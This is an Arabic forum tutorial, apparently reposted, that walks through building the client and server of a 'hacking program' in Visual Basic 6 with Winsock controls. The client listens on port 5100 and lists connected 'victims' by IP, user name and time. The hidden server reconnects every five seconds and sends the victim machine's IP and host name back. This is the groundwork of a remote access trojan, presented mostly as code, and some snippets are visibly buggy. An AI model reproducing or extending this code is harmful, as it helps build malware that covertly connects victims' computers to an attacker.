بسم الله الرحمن الرحيم
الحمد لله رب العالمين ، والصلاة والسلام على أشرف الخلق وأعز المرسلين وبعد،،
موضوعنا اليوم باين من عنوانه
سنشرح صنع واجهة برنامج اختراق ( عميل + خادم)
-: العميل :-
نشغل برنامج الفيجوال بيسك
الأدوات
ندوس كليك شمال على الـ Tool Bar
نختار بعدها Components

نختار اداتين

اول اداه و اسمها
Microsoft Windows Common Controls 6.0
و تانى اداه و هيا الوينسوك و طبعا دى مشهوووووووره جدا للكل و الكل عارف ايه استخداماتها
Microsoft Winsock Control 6.0
نضيف اداه List View و اداه Winsock كما موضح بالصوره

نركز هنا بقى شويه لأن النقطه دى مهمه جداااااااااا
نختار اداه الوينسوك و نعدل كلأتى
Name : Sock
Index : 0

و بعدها نختار اداه الليست فيو
و نعدل عليها
Name : lstvict

و بعدها ندوس زرار Custom
نعدل اعداداتها بالظبط زى ما هو باين ف الصوره

و بعدها ندوس على زرار Column Headers
نيجى بقى لتقسيم الليست بتاعتنا عشان تظهر فيها معلومات السيرفر
ندوس على insert column

رقم 1 ده هيبقى اسم الخانه اللى هيظهر فيها رقم الضحيه

و نرجع تانى ندوس على insert Column
و نضيف
IP
و بعدها insert Column
و نضيف
User Name
و بعدها insert column
و نضيف
Time
و ملحوظه كدا صغيره
Width ده يبقى عرض الخانه

عشان ننسق الخانات بالتساوى و عرضهم يبقى قد بعض
انا مثلا خليت عرضهم
1653.73
هيظهر لنا بالشكل ده

كدا خلصنا من الوينسوك و الليست فيو
نضيف تكست

و نسميه
Sck
و نخلى القيمه
Visible = False
لحد كدا و تمااااااااااام اووووووووووووووى و خلصنا من كلللللللل الأدوات (( الخاصه بالعميييل ))
-: الأكواد :-
كود التصريحات العامه
كود:
Dim SckNumber As Integer
كود الفورم لود
كود:
SckNumber = 0 ' تصفير المتغير SckNumber
Form1.Sock(Index).Close ' قفل الوينسوك و قطع اى اتصال
Form1.Sock(Index).LocalPort = 5100 ' تحديد البورت المناسب للوينسوك
Form1.Sock(Index).Listen ' بدايه الأنصات
-: اكواد الوينسوك :-
ف الوينسوك يوجد اجرائات متععده
ما هوا الأجراء و ما هى الأداه؟؟

نختار الأجرائين
Close
Error
كود:
'''''''' قطع الأتصال من الخادم المغلق''''''''''
Sock(Index).Close
For z = 1 To lstvict.ListItems.Count
lstvict.ListItems.Remove lstvict.ListItems(z).Index
Next z
'''''''''''''''''''''''''''''''''
connectionRequest الأجراء
كود:
On Error GoTo Err:
'''''''''قبول الأتصال و اضافه وينسوك جديده''''''''''
كود:
Dim InServer As Long
ConnectionAttempts = ConnectionAttempts + 1
If Sock.UBound <= 1 Then
InServer = lstvict.ListItems.Count + 1
Else
InServer = Val(lstvict.ListItems(lstvict.ListItems.Count).SubItems(0)) + 1
End If
Load Sock(InServer)
Sock(InServer).Accept requestID
Sock(InServer).SendData "v1ct1m"
Exit Sub
Err:
On Error Resume Next:
Unload Sock(InServer) ' مسح الوينسوك عند حدوث اى خطا
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
كود:
Dim All_data As String, NData() As String
Sock(Index).GetData All_data, vbString
IndataCompressed = Round(IndataCompressed + (((Len(All_data) / 4) * CompressLevel) / (1024 ^ 2)), 8): IndataNormal = Round(IndataNormal + (Len(All_data) / (1024 ^ 2)), 8)
NData = Split(All_data, "[\SC/]")
Select Case NData(0)
Case "v1ct1m"
lstvict.ListItems(index1).ListSubItems.add index2, , Ndata(index3)
newItem.ListSubItems.Add , , NData(1)
newItem.ListSubItems.Add , , NData(2)
newItem.ListSubItems.Add , , NData(3)
End Select
الرجاء الانتباه للكود التالي
كود:
Ndata = Split(All_Data, "[\SC/]")
معنى الكود هو:يقسم المعلومات اللى واصله من الخادم و بيظهرلنا اللى احنا عاوزينه بس
Split : كود التقسيم
All Data : الداتا اللى بتوصل من الخادم
[\SC/] : الكلمه اللى بتفصل بين الدليل و المعلومات
يعنى مثلا
نتفرض ان الكود
كود:
Dim rEdwolf() , Visual As String
rEdWolf = Split(Visual,"|")
و نفترض ان Visual
و عاوزين نظهر ده ف مسج بوكس
هيبقى كودنا
[IMG]Msgbox rEdW0LF(1)[/IMG]
rEdWolf لتقسيم المعلومات
و رقم 1 ده يبقى رقم الداتا
ياريت بجد اكون قدرت اوصل وظيفه الكود
بكده العميل اصبح تمااااااااااااااااااااااا ااااااااااااااااااااااااا اااااااااااااااام
-:السيرفر:-
الأدوات
نضيف الأدوات كما بالصوره

txtip : الاى بى الخاص بالعميل
txtport : البورت
sock : الوينسوك
Timer1 : التايمر اللى هيقوم بعمليه الأتصال و هنخليه يجرب اتصاله كل 5 ثوانى
و نخلى القيمه Visible = False

و بكده خلصنا ادوات السيرفر
الأكواد
كود الفورم لود
كود:
Timer1.Interval = 5000
اكواد الوينسوك
الأجراء
Close
Error
الأجراء DataArrival
(البيانات اللي بتوصل من العميل)
كود:
Dim Ndata() As String, All_Data As String
'تقسيم المعلومات
Ndata = Split(All_Data, "[\SC/]")
Sock.GetData All_Data
Select Case Ndata(0)
Case "v1ct1m"
'استقبال معلومات الخادم
TMPSTR = "v1ct1m"
TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalIP
TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalHostName
TMPSTR = TMPSTR & "[\SC/]" & Time
Sock.SendData TMPSTR
End Select
و اخيرا كود الـ Timer
كود:
If Not Sock.State = sckConnected Then
Sock.Close
Sock.Connect txtip, txtport
Else
Exit Sub
End If
الآن خلصنا واجهة البرنامج(عميل +خادم)

ومبروك عليك أصبحت مبرمج ههههههههه
ملاحظة //////
الموضوع منقول للفائدة العامة